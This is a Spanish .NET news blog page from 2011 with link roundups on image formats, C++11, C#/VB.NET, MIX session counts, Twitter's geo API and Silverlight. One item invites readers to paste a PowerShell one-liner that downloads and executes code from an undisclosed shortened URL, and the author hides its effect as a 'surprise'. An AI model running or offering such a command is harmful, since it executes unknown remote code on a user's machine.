Logo principal de El Ave Fenix

Crónicas Binarias

Noticias sobre desarrollo con .NET, y todas sus plataformas asociadas. A partir de ahora con el listado algunas de las entradas más interesantes publicadas en mi Twitter, con los titulares traducidos al castellano.

15 de diciembre de 2011

Enlaces a páginas y artículos publicados en mi Twitter

13 de abril de 2011

JPG versus PNG: ¿Cuál es mejor?

Mucho se ha discutido sobre estos dos formatos, especialmente, por parte de los seguidores/detractores acérrimos (que de los dos colores los hay). PNG es un estándar propuesto por la W3C para la Web y como formato portable de intercambio más adecuado a nuestros tiempos, pero los seguidores de jpg son muchos. Un experto fotógrafo y diseñador Web aporta su opinión en este artículo de "A Recinto Photography", en el que aclara mucho las ventajas y desventajas de cada uno.

Herb Sutter habla sobre "Perspectivas del nuevo C++(0x/11)"

Herb Sutter El arquitecto de microsoft habla de sus expectativas acerca del lenguaje, y de cómo ha ido evolucionando, tanto el el camino de la estandarización, como en el de la implantación, siendo adoptado últimamente cada vez más con la idea de soportar "experiencias nativas" (en palabras de Hachamovitch, el Jefe de Equipo de Internet Explorer), para dispositivos móviles de todo tipo. Es una entrevista en vídeo, disponible en este enlace: "Herb Sutter talks about "Perspectives on Modern C++(0x/11)".

La futura evolución de C# y VB.NET

Logo de PowerShell 2 Terri Wells, analiza desde su columna en ASP.FREE, el camino recorrido por estos lenguajes desde su aparición en 2001. La evolución parece que marca los tiempos en favor de un mayor crecimiento de C#, aunque las previsiones son aún de una larga vida para ambos protagonistas. Especialmente, si tenemos en cuenta proyectos como "Roslyn", un compilador "on-line", con la capacidad de copiar código C# al portapapeles y pegarlo como Visual Basic .NET. Para más datos ver el artículo " The Future Evolution of C# and VB.NET".

2 de Abril de 2011

Estadísticas de sesiones del MIX: 1º - WP7 / 2º - HTML5 / 3º - Azure / 4º - Silverlight / 5º - ASP.NET

Ejemplo de la nueva API de Twitter Aunque hay 11 sesiones pendientes de definir exactamente, el tema sí está asignado, así que hemos podido hacer una pequeña estadísticas del número de sesiones por criterior tecnológicos, para hacernos una idea de por dónde van los tiros.

Gana Windows Phone 7 (que es el que tiene las 11 sesiones por definir), seguido de cerca por HTML5, Azure (en todas sus variantes), Silverlight y ASP.NET (incluyendo MVC3, y los diversos sistemas de CMS que generan código ASP.NET). Pero lo mejor es que se vean los resultados y cada uno saque sus conclusiones.


Tecnología Detalles Número de sesiones
W. Phone 7 Todas las variantes 24
HTML 5   22
Plataforma Azure Todas las variantes 18
Silverlight De la version 5, hay una sobre 3D 10
ASP.NET Contando MVC3 y otros CMS’s 10
Plataformas NUI, Geo, MMP, Kinect 10
UX/Design   9
jQuery   7
JavaScript + ECMAScript 5 7
oData   3
Otros Facebook, Mono, Estándares 2
WCF   2

Algunas de las sesiones implican realmente a más de una tecnología, así que los números podrían variar un poco en algún caso, pero creo que nos dan una idea de por donde van los tiros, aunque como dijo Aaron Levenstein: "Las estadísticas son como los bikinis, lo que indican es sugerente, pero lo que ocultan, es vital...)

Sorpredente PowerShell: con una sola línea...)

Logo de PowerShell 2 Una idea de la potencia de PowerShell nos la da el siguiente truco que no tiene desperdicio: basta con teclear lo siguiente en una nueva ventana de comandos de PowerShell:

iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")

No descubro el resultado por no estropear la sorpresa...)

23 de enero de 2011

Una Nueva API de Twitter ofrece datos de geo-localización

Ejemplo de la nueva API de TwitterHace pocos días lo anunciaban en su sitio para desarrolladores. La nueva API extenderá lo que ya ofrecía la anterior (ya se disponía de información de este tipo), pero ahora, el añaden nuevas capacidades, para hacer que la experiencia de usuario pueda enriquecerse, gracias a un botón que permitirá añadir datos geográficos del usuario, almacenamiento en base de datos de información geográfica, para poder saber la ubicación desde donde tiene lugar el "tweet", pudiendo llegar a indicarle un factor de "granularidad geográfica" (vecindario, barrio, ciudad, etc). La explicación de su uso la encontramos en ésta página para desarrolladores de Twitter.

Ya se prevén nuevas aplicaciones interesantes basadas en estas posibilidades en relación con la tecnología "Augmented Reality".

Buen artículo sobre Binding de controles en Silverlight hacia servicios WCF

Ejemplo de la nueva API de Twitter Es uno más de los publicados por ese sitio tan popular entre los desarrolladores: DevX.com. El artículo de Joydip Kanjilal recorre desde el principio un ejemplo de cómo usar la característica de Binding de Silverlight 4, para enlazar controles de la interfaz de usuario con orígenes de datos accedidos mediante servicios WCF. Está disponible en "Application Development Tips with Silverlight 4 Tools".

El padre del lenguaje C++ (Stroustrup) reivindica su legado y su vigencia actual

Ejemplo de la nueva API de Twitter En una entrevista concedida a Jason Pontin, de Technology Review, Bjarne Stroustrup, el autor principal del lenguaje C++, reivindica la vigencia actual de "su" lenguaje y defiende su utilización en muchos contextos habituales de hoy en día, al tiempo que aprovecha para comentar cuáles son los problemas de la mayor parte del software actual.

Me quedo con una frase del maestro, que creo que explica maravillosamente la situación: "On the other hand, looking at "average" pieces of code can make me cry. The structure is appalling, and the programmers clearly didn't think deeply about correctness, algorithms, data structures, or maintainability" ("Por otra parte, un vistazo a fragmentos de código estándar me puede hacer llorar. La estructura es espantosa, y los programadores no han reflexionado profundamente sobre la correción, los algoritmos, estructuras de datos o la facilidad de mantenimiento").  Y más adelante, añade: "I think the real problem is that "we" (that is, we software developers) are in a permanent state of emergency, grasping at straws to get our work done. We perform many minor miracles through trial and error, excessive use of brute force, and lots and lots of testing, but -so often- it's not enough." ("Creo que el problema real es que,  nosotros los programadores, estamos en permanente estado de emergencia, y nos agarramos a un clavo ardiendo con tal de sacar el trabajo. Conseguimos pequeños milagros mediante prueba y error, un exceso de fuerza bruta, y muchas, muchas pruebas, que -con frecuencia- no son suficientes").

Nota: las traducciones son mías. La transcripción completa se encuentra en esta página.